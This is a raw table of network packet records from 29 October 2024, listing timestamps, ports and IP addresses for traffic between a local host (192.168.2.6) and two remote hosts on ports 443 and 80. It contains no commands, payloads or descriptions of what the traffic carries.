Oct 29, 2024 20:44:47.217273951 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:47.217305899 CET	443	62420	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:47.217319012 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:47.217330933 CET	443	62420	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:47.217456102 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:47.217473984 CET	443	62420	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:47.217489004 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:47.217628956 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:47.217662096 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:47.227443933 CET	443	62420	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:47.227619886 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:47.227648020 CET	443	62420	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:47.227668047 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:47.227700949 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:47.227710962 CET	443	62420	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:47.227722883 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:47.227735996 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:47.227736950 CET	443	62420	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:47.228260040 CET	443	62420	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:49.988879919 CET	62420	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:50.033018112 CET	62421	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:50.033075094 CET	443	62421	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:50.033298016 CET	62421	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:50.033595085 CET	62421	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:50.033612967 CET	443	62421	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:50.714493036 CET	443	62421	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:50.714577913 CET	62421	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:50.716073036 CET	62421	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:50.716089010 CET	443	62421	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:50.716326952 CET	443	62421	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:50.717622042 CET	62421	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:50.717622042 CET	62421	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:50.717693090 CET	443	62421	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:51.192601919 CET	443	62421	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:51.192687035 CET	443	62421	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:51.193016052 CET	62421	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:51.193180084 CET	62421	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:51.193180084 CET	62421	443	192.168.2.6	188.114.96.3
Oct 29, 2024 20:44:51.193202019 CET	443	62421	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:51.193212986 CET	443	62421	188.114.96.3	192.168.2.6
Oct 29, 2024 20:44:51.197765112 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:51.203265905 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:51.203339100 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:51.203502893 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:51.209342957 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.111358881 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.111382961 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.111394882 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.111454964 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.111480951 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.111493111 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.111527920 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.111680031 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.111691952 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.111731052 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.111835957 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.111848116 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.111891031 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.112008095 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.112159014 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.117170095 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.117187977 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.117198944 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.117243052 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.267452002 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.267467976 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.267479897 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.267541885 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.267545938 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.268438101 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.272658110 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.272670031 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.272731066 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.272804022 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.272815943 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.272856951 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.277925968 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.277939081 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.277952909 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.277981997 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.278042078 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.278053999 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.278093100 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.386780024 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.386799097 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.386816025 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.386876106 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.386888981 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.386940002 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.387243032 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.387263060 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.387274981 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.387285948 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.387296915 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.387306929 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.387332916 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.388060093 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.388386011 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.388396025 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.388430119 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.425915956 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.425940037 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.426023960 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.501709938 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.501729012 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.501743078 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.501790047 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.501849890 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.501925945 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.502043009 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.502054930 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.502067089 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.502090931 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.502289057 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.502336979 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.502775908 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.503038883 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.503051996 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.503082037 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.503276110 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.503321886 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.596298933 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.596487045 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.596571922 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.617937088 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.618083000 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.618094921 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.618105888 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.618144035 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.618175983 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.618216038 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.618228912 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.618263960 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.618791103 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.618840933 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.618886948 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.619256973 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.619458914 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.619471073 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.619482040 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.619504929 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.619519949 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.620091915 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.620615005 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.620672941 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.712913990 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.712948084 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.713016987 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.734797955 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.734812975 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.734823942 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.734837055 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.734848976 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.734874010 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.734896898 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.734961987 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.735002995 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.735615969 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.735627890 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.735658884 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.735668898 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.735833883 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.735893965 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.735904932 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.735922098 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.735930920 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.735955000 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.736584902 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.736597061 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.736608028 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.736634016 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.736645937 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.829950094 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.829989910 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.830184937 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.851562977 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.851577044 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.851584911 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.851614952 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.851667881 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.851717949 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.851731062 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.851743937 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.851923943 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.852025032 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.852037907 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.852083921 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.852206945 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.852219105 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.852231026 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.852242947 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.852266073 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.852297068 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.852945089 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.853094101 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.853106022 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.853141069 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.853204012 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.853466034 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.946795940 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.947328091 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.947427034 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.968399048 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.968509912 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.968522072 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.968533993 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.968547106 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.968580008 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.968611002 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.968616962 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.968647003 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.968741894 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.968755007 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.968794107 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.969036102 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.969053030 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.969093084 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.969430923 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.969506025 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.969521046 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.969566107 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.969696999 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.969708920 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.969719887 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:52.969734907 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:52.969767094 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.063560963 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.063590050 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.063649893 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.085093975 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.085107088 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.085119009 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.085153103 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.085436106 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.085447073 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.085458040 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.085469007 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.085477114 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.085481882 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.085494995 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.085520983 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.085834980 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.086034060 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.086044073 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.086055994 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.086066961 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.086081982 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.086106062 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.086420059 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.086586952 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.086822987 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.086834908 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.086846113 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.086880922 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.201824903 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.201972961 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.201983929 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.201997042 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.202076912 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.202220917 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.202233076 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.202303886 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.202352047 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.202363968 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.202369928 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.202570915 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.202879906 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.202892065 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.202924013 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.203037977 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.203048944 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.203093052 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.203241110 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.203253031 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.203263998 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.203283072 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.203438044 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.203449011 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.203460932 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.203493118 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.203507900 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.318646908 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.318753958 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.318764925 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.318783045 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.318795919 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.318798065 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.318808079 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.318816900 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.318855047 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.319205999 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.319217920 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.319230080 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.319267988 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.319483995 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.319519043 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.319586992 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.319601059 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.319639921 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.319858074 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.319981098 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.320142984 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.320250034 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.320261002 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.320272923 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.320283890 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.320292950 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.320296049 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.320308924 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.320827007 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.320837975 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.320848942 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.320861101 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.320878029 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.435641050 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.435843945 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.435856104 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.435868025 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.435893059 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.435918093 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.435977936 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.435990095 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.436034918 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.436193943 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.436206102 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.436217070 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.436230898 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.436243057 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.436275959 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.436628103 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.436639071 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.436650038 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.436680079 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.436810970 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.436821938 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.436856985 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:53.437093973 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.437105894 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.437117100 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:53.437127113 CET	62422	80	192.168.2.6	185.215.113.16
